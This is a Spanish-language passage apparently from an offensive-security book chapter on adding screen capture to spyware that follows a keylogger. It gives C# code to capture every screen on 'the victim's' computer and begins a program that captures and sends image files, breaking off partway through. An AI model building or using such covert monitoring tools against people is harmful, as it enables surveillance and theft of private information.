Índice

Capturar la pantalla

Hemos visto cómo capturar las teclas pulsadas por el usuario. Pero ¿qué pasa en el equipo de la víctima? Usted va a poder añadir la función de captura de pantalla del equipo objetivo.

1. Principios básicos

Para capturar la pantalla, usaremos una función muy sencilla que se debe poner en marcha. Piense en encontrar un desencadenador interesante, como teclas pulsadas o un programa ejecutado; si no, el espacio usado para las capturas de pantalla aumentará rápidamente.

El código principal de este programa en el siguiente:

g.CopyFromScreen(sc.Bounds.Location, new Point(0, 0), 
sc.Bounds.Size);

Se completa con la gestión de todas las pantallas presentes, gracias al vector siguiente:

Screen[] pantallas = Screen.AllScreens;

2. Crear la aplicación

Este código permite la captura de pantalla y el envío de un archivo de imagen. El siguiente código gestiona varias pantallas.

Cree un archivo de texto que se llame Captura.txt y añada el siguiente có-digo:

using System;  
using System.Collections.Generic;  
using System.Text;  
using System.Drawing.Imaging;  
using System.Drawing;  
using System.Windows.Forms;  
using System.Threading;  
  
namespace PrintScreen  
{  
    class Program  
    {     
        static Form f1 = new Form();   
        static ...